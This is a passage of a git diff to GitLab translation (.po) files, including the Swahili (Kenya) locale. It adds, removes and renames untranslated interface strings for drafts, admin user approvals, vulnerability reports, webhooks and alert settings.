msgid "This issue is currently blocked by the following issues:"
msgstr ""
-msgid "This issue is currently blocked by the following issues: %{issues}."
-msgstr ""
-
msgid "This issue is in a child epic of the filtered epic"
msgstr ""
@@ -27451,7 +28062,7 @@ msgstr ""
msgid "This merge request is locked."
msgstr ""
-msgid "This merge request is still a work in progress."
+msgid "This merge request is still a draft."
msgstr ""
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
@@ -27472,9 +28083,6 @@ msgstr ""
msgid "This page sends a payload. Go back to the events page to see a newly created event."
msgstr ""
-msgid "This pipeline does not use the %{codeStart}needs%{codeEnd} keyword and can't be represented as a directed acyclic graph."
-msgstr ""
-
msgid "This pipeline makes use of a predefined CI/CD configuration enabled by %{b_open}Auto DevOps.%{b_close}"
msgstr ""
@@ -27553,6 +28161,9 @@ msgstr ""
msgid "This user cannot be unlocked manually from GitLab"
msgstr ""
+msgid "This user does not have a pending request"
+msgstr ""
+
msgid "This user has no active %{type}."
msgstr ""
@@ -27598,6 +28209,9 @@ msgstr ""
msgid "Threat Monitoring"
msgstr ""
+msgid "ThreatMonitoring|Alerts"
+msgstr ""
+
msgid "ThreatMonitoring|All Environments"
msgstr ""
@@ -27898,6 +28512,9 @@ msgstr ""
msgid "Timeout connecting to the Google API. Please try again."
msgstr ""
+msgid "Timezone"
+msgstr ""
+
msgid "Time|hr"
msgid_plural "Time|hrs"
msgstr[0] ""
@@ -27914,6 +28531,9 @@ msgstr ""
msgid "Tip:"
msgstr ""
+msgid "Tip: add a"
+msgstr ""
+
msgid "Title"
msgstr ""
@@ -28049,7 +28669,7 @@ msgstr ""
msgid "To use Gitpod you must first enable the feature in the integrations section of your %{user_prefs}."
msgstr ""
-msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
+msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
@@ -28148,6 +28768,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "Too many users specified (limit is %{user_limit})"
+msgstr ""
+
msgid "Too much data"
msgstr ""
@@ -28490,6 +29113,9 @@ msgstr ""
msgid "Unable to convert Kubernetes logs encoding to UTF-8"
msgstr ""
+msgid "Unable to create link to vulnerability"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -28556,7 +29182,7 @@ msgstr ""
msgid "Unassigned"
msgstr ""
-msgid "Unblock"
+msgid "Unauthenticated request rate limit"
msgstr ""
msgid "Undo"
@@ -28628,10 +29254,10 @@ msgstr ""
msgid "Unlocks the discussion."
msgstr ""
-msgid "Unmarked this %{noun} as Work In Progress."
+msgid "Unmarked this %{noun} as a draft."
msgstr ""
-msgid "Unmarks this %{noun} as Work In Progress."
+msgid "Unmarks this %{noun} as a draft."
msgstr ""
msgid "Unreachable"
@@ -28826,9 +29452,6 @@ msgstr ""
msgid "Upgrade your plan to improve Merge Requests."
msgstr ""
-msgid "Upload %{code_open}GoogleCodeProjectHosting.json%{code_close} here:"
-msgstr ""
-
msgid "Upload CSV file"
msgstr ""
@@ -28847,6 +29470,9 @@ msgstr ""
msgid "Upload a private key for your certificate"
msgstr ""
+msgid "Upload an image"
+msgstr ""
+
msgid "Upload file"
msgstr ""
@@ -28883,6 +29509,9 @@ msgstr ""
msgid "Usage"
msgstr ""
+msgid "Usage Trends"
+msgstr ""
+
msgid "Usage ping is off"
msgstr ""
@@ -28973,6 +29602,9 @@ msgstr ""
msgid "UsageQuota|Unlimited"
msgstr ""
+msgid "UsageQuota|Uploads"
+msgstr ""
+
msgid "UsageQuota|Usage"
msgstr ""
@@ -29120,6 +29752,12 @@ msgstr ""
msgid "User was successfully updated."
msgstr ""
+msgid "UserAvailability|%{author} (Busy)"
+msgstr ""
+
+msgid "UserAvailability|(Busy)"
+msgstr ""
+
msgid "UserLists|Add"
msgstr ""
@@ -29177,6 +29815,9 @@ msgstr ""
msgid "UserList|created %{timeago}"
msgstr ""
+msgid "UserProfile|(Busy)"
+msgstr ""
+
msgid "UserProfile|Activity"
msgstr ""
@@ -29222,6 +29863,9 @@ msgstr ""
msgid "UserProfile|Report abuse"
msgstr ""
+msgid "UserProfile|Retry"
+msgstr ""
+
msgid "UserProfile|Snippets"
msgstr ""
@@ -29252,6 +29896,9 @@ msgstr ""
msgid "UserProfile|This user is blocked"
msgstr ""
+msgid "UserProfile|Unconfirmed user"
+msgstr ""
+
msgid "UserProfile|View all"
msgstr ""
@@ -29288,6 +29935,9 @@ msgstr ""
msgid "Username or email"
msgstr ""
+msgid "Username: %{username}"
+msgstr ""
+
msgid "Users"
msgstr ""
@@ -29330,15 +29980,15 @@ msgstr ""
msgid "UsersSelect|Unassigned"
msgstr ""
-msgid "Using %{codeStart}needs%{codeEnd} allows jobs to run before their stage is reached, as soon as their individual dependencies are met, which speeds up your pipelines."
-msgstr ""
-
msgid "Using %{code_start}::%{code_end} denotes a %{link_start}scoped label set%{link_end}"
msgstr ""
msgid "Using required encryption strategy when encrypted field is missing!"
msgstr ""
+msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
+msgstr ""
+
msgid "Valid from"
msgstr ""
@@ -29408,7 +30058,7 @@ msgstr ""
msgid "Various settings that affect GitLab performance."
msgstr ""
-msgid "Verification capacity"
+msgid "Verification concurrency limit"
msgstr ""
msgid "Verification information"
@@ -29487,6 +30137,9 @@ msgstr ""
msgid "View file @ %{commitSha}"
msgstr ""
+msgid "View file @%{commit_sha}"
+msgstr ""
+
msgid "View full dashboard"
msgstr ""
@@ -29544,6 +30197,9 @@ msgstr ""
msgid "View replaced file @ "
msgstr ""
+msgid "View setting"
+msgstr ""
+
msgid "View supported languages and frameworks"
msgstr ""
@@ -29637,9 +30293,6 @@ msgstr ""
msgid "VisualReviewApp|Steps 1 and 2 (and sometimes 3) are performed once by the developer before requesting feedback. Steps 3 (if necessary), 4 is performed by the reviewer each time they perform a review."
msgstr ""
-msgid "Visualization"
-msgstr ""
-
msgid "Vulnerabilities"
msgstr ""
@@ -29745,6 +30398,12 @@ msgstr ""
msgid "Vulnerability|Activity"
msgstr ""
+msgid "Vulnerability|Actual received response is the one received when this fault was detected"
+msgstr ""
+
+msgid "Vulnerability|Additional Info"
+msgstr ""
+
msgid "Vulnerability|Class"
msgstr ""
@@ -29793,10 +30452,7 @@ msgstr ""
msgid "Vulnerability|Project"
msgstr ""
-msgid "Vulnerability|Request"
-msgstr ""
-
-msgid "Vulnerability|Response"
+msgid "Vulnerability|Request/Response"
msgstr ""
msgid "Vulnerability|Scanner"
@@ -29811,6 +30467,9 @@ msgstr ""
msgid "Vulnerability|Status"
msgstr ""
+msgid "Vulnerability|The unmodified response is the original response that had no mutations done to the request"
+msgstr ""
+
msgid "Wait for the file to load to copy its contents"
msgstr ""
@@ -29835,6 +30494,9 @@ msgstr ""
msgid "We are currently unable to fetch data for this graph."
msgstr ""
+msgid "We are currently unable to fetch data for this pipeline."
+msgstr ""
+
msgid "We could not determine the path to remove the epic"
msgstr ""
@@ -29964,6 +30626,9 @@ msgstr ""
msgid "Webhooks|Push events"
msgstr ""
+msgid "Webhooks|Releases events"
+msgstr ""
+
msgid "Webhooks|SSL verification"
msgstr ""
@@ -29979,6 +30644,9 @@ msgstr ""
msgid "Webhooks|This URL is triggered when a feature flag is turned on or off"
msgstr ""
+msgid "Webhooks|This URL is triggered when a release is created/updated"
+msgstr ""
+
msgid "Webhooks|This URL will be triggered by a push to the repository"
msgstr ""
@@ -30060,12 +30728,18 @@ msgstr ""
msgid "What is squashing?"
msgstr ""
+msgid "What is your job title? (optional)"
+msgstr ""
+
msgid "What's new at GitLab"
msgstr ""
msgid "What’s your experience level?"
msgstr ""
+msgid "When Kroki is enabled, GitLab sends diagrams to an instance of Kroki to display them as images. You can use the free public cloud instance %{kroki_public_url} or you can %{install_link} on your own infrastructure. Once you've installed Kroki, make sure to update the server URL to point to your instance."
+msgstr ""
+
msgid "When a deployment job is successful, skip older deployment jobs that are still pending"
msgstr ""
@@ -30122,7 +30796,13 @@ msgstr ""
msgid "Wiki"
msgstr ""
-msgid "Wiki was successfully updated."
+msgid "Wiki page was successfully created."
+msgstr ""
+
+msgid "Wiki page was successfully deleted."
+msgstr ""
+
+msgid "Wiki page was successfully updated."
msgstr ""
msgid "WikiClone|Clone your wiki"
@@ -30278,6 +30958,9 @@ msgstr ""
msgid "Wiki|Pages"
msgstr ""
+msgid "Wiki|The sidebar failed to load. You can reload the page to try again."
+msgstr ""
+
msgid "Wiki|Title"
msgstr ""
@@ -30359,9 +31042,6 @@ msgstr ""
msgid "Yes, delete project"
msgstr ""
-msgid "Yes, let me map Google Code users to full names or GitLab users."
-msgstr ""
-
msgid "Yesterday"
msgstr ""
@@ -30371,6 +31051,9 @@ msgstr ""
msgid "You already have pending todo for this alert"
msgstr ""
+msgid "You are about to add %{usersTag} people to the discussion. They will all receive a notification."
+msgstr ""
+
msgid "You are about to delete %{domain} from your instance. This domain will no longer be available to any Knative application."
msgstr ""
@@ -30416,6 +31099,9 @@ msgstr ""
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
+msgid "You are not allowed to reject a user"
+msgstr ""
+
msgid "You are not allowed to unlink your primary login account"
msgstr ""
@@ -30575,6 +31261,9 @@ msgstr ""
msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
msgstr ""
+msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
+msgstr ""
+
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
@@ -30617,6 +31306,9 @@ msgstr ""
msgid "You do not have permission to run the Web Terminal. Please contact a project administrator."
msgstr ""
+msgid "You do not have permission to update the environment."
+msgstr ""
+
msgid "You do not have permissions to run the import."
msgstr ""
@@ -30695,6 +31387,12 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an on-call schedule for this project"
+msgstr ""
+
+msgid "You have insufficient permissions to remove an on-call schedule from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
@@ -30779,9 +31477,6 @@ msgstr ""
msgid "You need to upload a GitLab project export archive (ending in .gz)."
msgstr ""
-msgid "You need to upload a Google Takeout archive."
-msgstr ""
-
msgid "You successfully declined the invitation"
msgstr ""
@@ -30824,13 +31519,10 @@ msgstr ""
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push project code via %{protocol} until you %{set_password_link} on your account"
-msgstr ""
-
-msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
+msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
msgstr ""
-msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
msgid "You'll be signed out from your current account automatically."
@@ -30860,9 +31552,6 @@ msgstr ""
msgid "You're not allowed to make changes to this project directly. A fork of this project is being created that you can make changes in, so you can submit a merge request."
msgstr ""
-msgid "You're only seeing %{startTag}other activity%{endTag} in the feed. To add a comment, switch to one of the following options."
-msgstr ""
-
msgid "You're receiving this email because of your account on %{host}."
msgstr ""
@@ -30881,6 +31570,9 @@ msgstr ""
msgid "You've already enabled two-factor authentication using one time password authenticators. In order to register a different device, you must first disable two-factor authentication."
msgstr ""
+msgid "You've rejected %{user}"
+msgstr ""
+
msgid "YouTube"
msgstr ""
@@ -30905,6 +31597,9 @@ msgstr ""
msgid "Your CSV export of %{written_count} from project %{project_name} (%{project_url}) has been added to this email as an attachment."
msgstr ""
+msgid "Your CSV import for project"
+msgstr ""
+
msgid "Your Commit Email will be used for web based operations, such as edits and merges."
msgstr ""
@@ -30917,6 +31612,9 @@ msgstr ""
msgid "Your GPG keys (%{count})"
msgstr ""
+msgid "Your GitLab account request has been approved!"
+msgstr ""
+
msgid "Your GitLab group"
msgstr ""
@@ -31058,6 +31756,9 @@ msgstr ""
msgid "Your issues will be imported in the background. Once finished, you'll get a confirmation email."
msgstr ""
+msgid "Your license does not support on-call schedules"
+msgstr ""
+
msgid "Your license is valid from"
msgstr ""
@@ -31106,6 +31807,12 @@ msgstr ""
msgid "Your request for access has been queued for review."
msgstr ""
+msgid "Your request to join %{host} has been rejected."
+msgstr ""
+
+msgid "Your requirements are being imported. Once finished, you'll receive a confirmation email."
+msgstr ""
+
msgid "Your response has been recorded."
msgstr ""
@@ -31115,6 +31822,9 @@ msgstr ""
msgid "Your search didn't match any commits. Try a different query."
msgstr ""
+msgid "Your sign-in page is %{url}."
+msgstr ""
+
msgid "Your subscription expired!"
msgstr ""
@@ -31124,6 +31834,9 @@ msgstr ""
msgid "Your subscription will expire in %{remaining_days}."
msgstr ""
+msgid "Your username is %{username}."
+msgstr ""
+
msgid "Zoom meeting added"
msgstr ""
@@ -31294,13 +32007,10 @@ msgstr ""
msgid "ciReport|%{sameNum} same"
msgstr ""
-msgid "ciReport|(errors when loading results)"
-msgstr ""
-
-msgid "ciReport|(is loading)"
+msgid "ciReport|: Loading resulted in an error"
msgstr ""
-msgid "ciReport|(is loading, errors when loading results)"
+msgid "ciReport|API Fuzzing"
msgstr ""
msgid "ciReport|All projects"
@@ -31467,6 +32177,12 @@ msgstr[1] ""
msgid "ciReport|View full report"
msgstr ""
+msgid "ciReport|is loading"
+msgstr ""
+
+msgid "ciReport|is loading, errors when loading results"
+msgstr ""
+
msgid "closed issue"
msgstr ""
@@ -31485,9 +32201,6 @@ msgstr ""
msgid "committed"
msgstr ""
-msgid "connecting"
-msgstr ""
-
msgid "container_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -31503,9 +32216,6 @@ msgstr ""
msgid "created %{timeAgo}"
msgstr ""
-msgid "customize"
-msgstr ""
-
msgid "data"
msgstr ""
@@ -31544,9 +32254,6 @@ msgstr ""
msgid "does not have a supported extension. Only %{extension_list} are supported"
msgstr ""
-msgid "done"
-msgstr ""
-
msgid "download it"
msgstr ""
@@ -31635,6 +32342,9 @@ msgstr ""
msgid "for this project"
msgstr ""
+msgid "fork"
+msgstr ""
+
msgid "fork this project"
msgstr ""
@@ -31661,6 +32371,9 @@ msgstr ""
msgid "has already been taken"
msgstr ""
+msgid "has been completed."
+msgstr ""
+
msgid "help"
msgstr ""
@@ -31682,7 +32395,7 @@ msgstr ""
msgid "import flow"
msgstr ""
-msgid "importing"
+msgid "in"
msgstr ""
msgid "in group %{link_to_group}"
@@ -32211,6 +32924,9 @@ msgstr ""
msgid "no one can merge"
msgstr ""
+msgid "no scopes selected"
+msgstr ""
+
msgid "none"
msgstr ""
@@ -32238,6 +32954,9 @@ msgstr ""
msgid "open issue"
msgstr ""
+msgid "opened %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
msgid "opened %{timeAgoString} by %{user}"
msgstr ""
@@ -32250,6 +32969,9 @@ msgstr ""
msgid "or"
msgstr ""
+msgid "originating vulnerability"
+msgstr ""
+
msgid "out of %d total test"
msgid_plural "out of %d total tests"
msgstr[0] ""
@@ -32327,6 +33049,9 @@ msgstr ""
msgid "project members"
msgstr ""
+msgid "project name"
+msgstr ""
+
msgid "projects"
msgstr ""
@@ -32380,6 +33105,9 @@ msgstr ""
msgid "security Reports|There was an error creating the merge request"
msgstr ""
+msgid "severity|Blocker"
+msgstr ""
+
msgid "severity|Critical"
msgstr ""
@@ -32392,9 +33120,15 @@ msgstr ""
msgid "severity|Low"
msgstr ""
+msgid "severity|Major"
+msgstr ""
+
msgid "severity|Medium"
msgstr ""
+msgid "severity|Minor"
+msgstr ""
+
msgid "severity|None"
msgstr ""
@@ -32443,9 +33177,6 @@ msgstr ""
msgid "ssh:"
msgstr ""
-msgid "started"
-msgstr ""
-
msgid "started a discussion on %{design_link}"
msgstr ""
@@ -32476,10 +33207,10 @@ msgstr ""
msgid "suggestPipeline|We’re adding a GitLab CI configuration file to add a pipeline to the project. You could create it manually, but we recommend that you start with a GitLab template that works out of the box."
msgstr ""
-msgid "syntax is correct"
+msgid "syntax is correct."
msgstr ""
-msgid "syntax is incorrect"
+msgid "syntax is incorrect."
msgstr ""
msgid "tag name"
@@ -32488,6 +33219,9 @@ msgstr ""
msgid "teammate%{number}@company.com"
msgstr ""
+msgid "the correct format."
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -32497,6 +33231,9 @@ msgstr ""
msgid "time summary"
msgstr ""
+msgid "to automatically add approvers based on file paths and file types."
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr ""
@@ -32569,6 +33306,11 @@ msgstr ""
msgid "view the source"
msgstr ""
+msgid "vulnerability"
+msgid_plural "vulnerabilities"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "vulnerability|Add a comment"
msgstr ""
diff --git a/locale/sw_KE/gitlab.po b/locale/sw_KE/gitlab.po
index c2a03296f39..704d652a81b 100644
--- a/locale/sw_KE/gitlab.po
+++ b/locale/sw_KE/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: sw\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-11-03 22:43\n"
+"PO-Revision-Date: 2020-12-03 08:12\n"
-msgid " %{project_name}#%{issue_iid} &middot; opened %{issue_created} by %{author}"
+msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author}"
msgstr ""
msgid " %{start} to %{end}"
@@ -82,6 +82,11 @@ msgid_plural "%d Approvals"
msgstr[0] ""
msgstr[1] ""
+msgid "%d Other"
+msgid_plural "%d Others"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d Package"
msgid_plural "%d Packages"
msgstr[0] ""
@@ -165,13 +170,13 @@ msgid_plural "%d days"
msgstr[0] ""
msgstr[1] ""
-msgid "%d day until tags are automatically removed"
-msgid_plural "%d days until tags are automatically removed"
+msgid "%d error"
+msgid_plural "%d errors"
msgstr[0] ""
msgstr[1] ""
-msgid "%d error"
-msgid_plural "%d errors"
+msgid "%d error found:"
+msgid_plural "%d errors found:"
msgstr[0] ""
msgstr[1] ""
@@ -351,22 +356,13 @@ msgstr ""
msgid "%{address} is an invalid IP address range"
msgstr ""
-msgid "%{author_link} wrote:"
+msgid "%{anchorOpen}Learn more%{anchorClose} about how you can customize / disable registration on your instance."
msgstr ""
-msgid "%{authorsName}'s thread"
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"@johnsmith\"%{code_close} will add \"By %{link_open}@johnsmith%{link_close}\" to all issues and comments originally created by johnsmith@example.com, and will set %{link_open}@johnsmith%{link_close} as the assignee on all issues originally assigned to johnsmith@example.com."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"John Smith\"%{code_close} will add \"By John Smith\" to all issues and comments originally created by johnsmith@example.com."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsm...@example.com\"%{code_close} will add \"By johnsm...@example.com\" to all issues and comments originally created by johnsmith@example.com. The email address or username is masked to ensure the user's privacy."
+msgid "%{author_link} wrote:"
msgstr ""
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsmith@example.com\"%{code_close} will add \"By %{link_open}johnsmith@example.com%{link_close}\" to all issues and comments originally created by johnsmith@example.com. By default, the email address or username is masked to ensure the user's privacy. Use this option if you want to show the full email address."
+msgid "%{authorsName}'s thread"
msgstr ""
msgid "%{code_open}Masked%{code_close} variables are hidden in job logs (though they must match certain regexp requirements to do so)."
@@ -445,6 +441,9 @@ msgstr ""
msgid "%{count} total weight"
msgstr ""
+msgid "%{criticalStart}%{critical} Critical%{criticalEnd} %{highStart}%{high} High%{highEnd} and %{otherStart}%{otherMessage}%{otherEnd}"
+msgstr ""
+
msgid "%{dashboard_path} could not be found."
msgstr ""
@@ -517,21 +516,27 @@ msgstr ""
msgid "%{host} sign-in from new location"
msgstr ""
-msgid "%{icon}You are about to add %{usersTag} people to the discussion. They will all receive a notification."
-msgstr ""
-
msgid "%{integrations_link_start}Integrations%{link_end} enable you to make third-party applications part of your GitLab workflow. If the available integrations don't meet your needs, consider using a %{webhooks_link_start}webhook%{link_end}."
msgstr ""
msgid "%{issuableType} will be removed! Are you sure?"
msgstr ""
+msgid "%{issueType} actions"
+msgstr ""
+
msgid "%{issuesCount} issues with a limit of %{maxIssueCount}"
msgstr ""
msgid "%{issuesSize} with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
+msgstr ""
+
+msgid "%{labelStart}Assert:%{labelEnd} %{assertion}"
+msgstr ""
+
msgid "%{labelStart}Class:%{labelEnd} %{class}"
msgstr ""
@@ -547,9 +552,6 @@ msgstr ""
msgid "%{labelStart}File:%{labelEnd} %{file}"
msgstr ""
-msgid "%{labelStart}Headers:%{labelEnd} %{headers}"
-msgstr ""
-
msgid "%{labelStart}Image:%{labelEnd} %{image}"
msgstr ""
@@ -565,13 +567,13 @@ msgstr ""
msgid "%{labelStart}Scanner:%{labelEnd} %{scanner}"
msgstr ""
-msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
+msgid "%{labelStart}Sent request:%{labelEnd} %{headers}"
msgstr ""
-msgid "%{labelStart}Status:%{labelEnd} %{status}"
+msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
msgstr ""
-msgid "%{labelStart}URL:%{labelEnd} %{url}"
+msgid "%{labelStart}Unmodified response:%{labelEnd} %{headers}"
msgstr ""
msgid "%{label_for_message} unavailable"
@@ -604,9 +606,6 @@ msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
msgstr ""
-msgid "%{loadingIcon} Started"
-msgstr ""
-
msgid "%{location} is missing required keys: %{keys}"
msgstr ""
@@ -707,34 +706,13 @@ msgstr[1] ""
msgid "%{remaining_approvals} left"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
+msgid "%{reportType} %{status}"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities."
+msgid "%{reportType} detected %{totalStart}%{total}%{totalEnd} potential %{vulnMessage}"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities out of %{total}."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "%{reportType} %{status} detected %{other} vulnerability."
-msgid_plural "%{reportType} %{status} detected %{other} vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "%{reportType} %{status} detected no vulnerabilities."
+msgid "%{reportType} detected %{totalStart}no%{totalEnd} vulnerabilities."
msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
@@ -792,6 +770,9 @@ msgstr ""
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
+msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
+msgstr ""
+
msgid "%{strong_start}%{branch_count}%{strong_end} Branch"
msgid_plural "%{strong_start}%{branch_count}%{strong_end} Branches"
msgstr[0] ""
@@ -889,6 +870,9 @@ msgstr ""
msgid "%{user_name} profile page"
msgstr ""
+msgid "%{username} has asked for a GitLab account on your instance %{host}:"
+msgstr ""
+
msgid "%{username}'s avatar"
msgstr ""
@@ -907,12 +891,6 @@ msgstr ""
msgid "&lt; 1 hour"
msgstr ""
-msgid "&lt;no scopes selected&gt;"
-msgstr ""
-
-msgid "&lt;project name&gt;"
-msgstr ""
-
msgid "'%{data}' at %{location} does not match format: %{format}"
msgstr ""
@@ -1506,9 +1484,6 @@ msgstr ""
msgid "Actions"
msgstr ""
-msgid "Activate"
-msgstr ""
-
msgid "Activate Service Desk"
msgstr ""
@@ -1856,9 +1831,15 @@ msgstr ""
msgid "Admin notes"
msgstr ""
+msgid "AdminArea|%{billable_users_link_start}Learn more%{billable_users_link_end} about what defines a billable user"
+msgstr ""
+
msgid "AdminArea|Active users"
msgstr ""
+msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
+msgstr ""
+
msgid "AdminArea|Billable users"
msgstr ""
@@ -2081,6 +2062,15 @@ msgstr ""
msgid "AdminUsers|Access the API"
msgstr ""
+msgid "AdminUsers|Activate"
+msgstr ""
+
+msgid "AdminUsers|Activate user"
+msgstr ""
+
+msgid "AdminUsers|Activate user %{username}?"
+msgstr ""
+
msgid "AdminUsers|Active"
msgstr ""
@@ -2129,16 +2119,19 @@ msgstr ""
msgid "AdminUsers|Blocking user has the following effects:"
msgstr ""
+msgid "AdminUsers|Cannot sign in or access instance information"
+msgstr ""
+
msgid "AdminUsers|Cannot unblock LDAP blocked users"
msgstr ""
msgid "AdminUsers|Deactivate"
msgstr ""
-msgid "AdminUsers|Deactivate User %{username}?"
+msgid "AdminUsers|Deactivate user"
msgstr ""
-msgid "AdminUsers|Deactivate user"
+msgid "AdminUsers|Deactivate user %{username}?"
msgstr ""
msgid "AdminUsers|Deactivated"
@@ -2165,6 +2158,9 @@ msgstr ""
msgid "AdminUsers|External users cannot see internal or private projects unless access is explicitly granted. Also, external users cannot create projects, groups, or personal snippets."
msgstr ""
+msgid "AdminUsers|For more information, please refer to the %{link_start}user account deletion documentation.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Is using seat"
msgstr ""
@@ -2201,6 +2197,15 @@ msgstr ""
msgid "AdminUsers|Regular users have access to their groups and projects"
msgstr ""
+msgid "AdminUsers|Reject"
+msgstr ""
+
+msgid "AdminUsers|Reject request"
+msgstr ""
+
+msgid "AdminUsers|Rejected users:"
+msgstr ""
+
msgid "AdminUsers|Restore user access to the account, including web, Git and API."
msgstr ""
@@ -2240,6 +2245,15 @@ msgstr ""
msgid "AdminUsers|To confirm, type %{username}"
msgstr ""
+msgid "AdminUsers|Unblock"
+msgstr ""
+
+msgid "AdminUsers|Unblock user"
+msgstr ""
+
+msgid "AdminUsers|Unblock user %{username}?"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr ""
@@ -2249,6 +2263,9 @@ msgstr ""
msgid "AdminUsers|When the user logs back in, their account will reactivate as a fully active account"
msgstr ""
+msgid "AdminUsers|Will be deleted"
+msgstr ""
+
msgid "AdminUsers|Without projects"
msgstr ""
@@ -2258,6 +2275,15 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You can always block their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always deactivate their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always re-activate their account, their data will remain intact."
+msgstr ""
+
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
@@ -2270,7 +2296,13 @@ msgstr ""
msgid "Administration"
msgstr ""
-msgid "Adoption"
+msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
+msgstr ""
+
+msgid "Admin|View pending user approvals"
+msgstr ""
+
+msgid "Admin|Your instance has reached its user cap"
msgstr ""
msgid "Advanced"
@@ -2482,6 +2514,24 @@ msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
msgstr ""
+msgid "AlertMappingBuilder|Define fallback"
+msgstr ""
+
+msgid "AlertMappingBuilder|GitLab alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Make selection"
+msgstr ""
+
+msgid "AlertMappingBuilder|Payload alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Select key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
+msgstr ""
+
msgid "AlertService|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
@@ -2491,9 +2541,18 @@ msgstr ""
msgid "AlertSettings|1. Select integration type"
msgstr ""
+msgid "AlertSettings|2. Add link to your Opsgenie alert list"
+msgstr ""
+
msgid "AlertSettings|2. Name integration"
msgstr ""
+msgid "AlertSettings|3. Set up webhook"
+msgstr ""
+
+msgid "AlertSettings|4. Sample alert payload (optional)"
+msgstr ""
+
msgid "AlertSettings|5. Map fields (optional)"
msgstr ""
@@ -2521,6 +2580,12 @@ msgstr ""
msgid "AlertSettings|Copy"
msgstr ""
+msgid "AlertSettings|Delete integration"
+msgstr ""
+
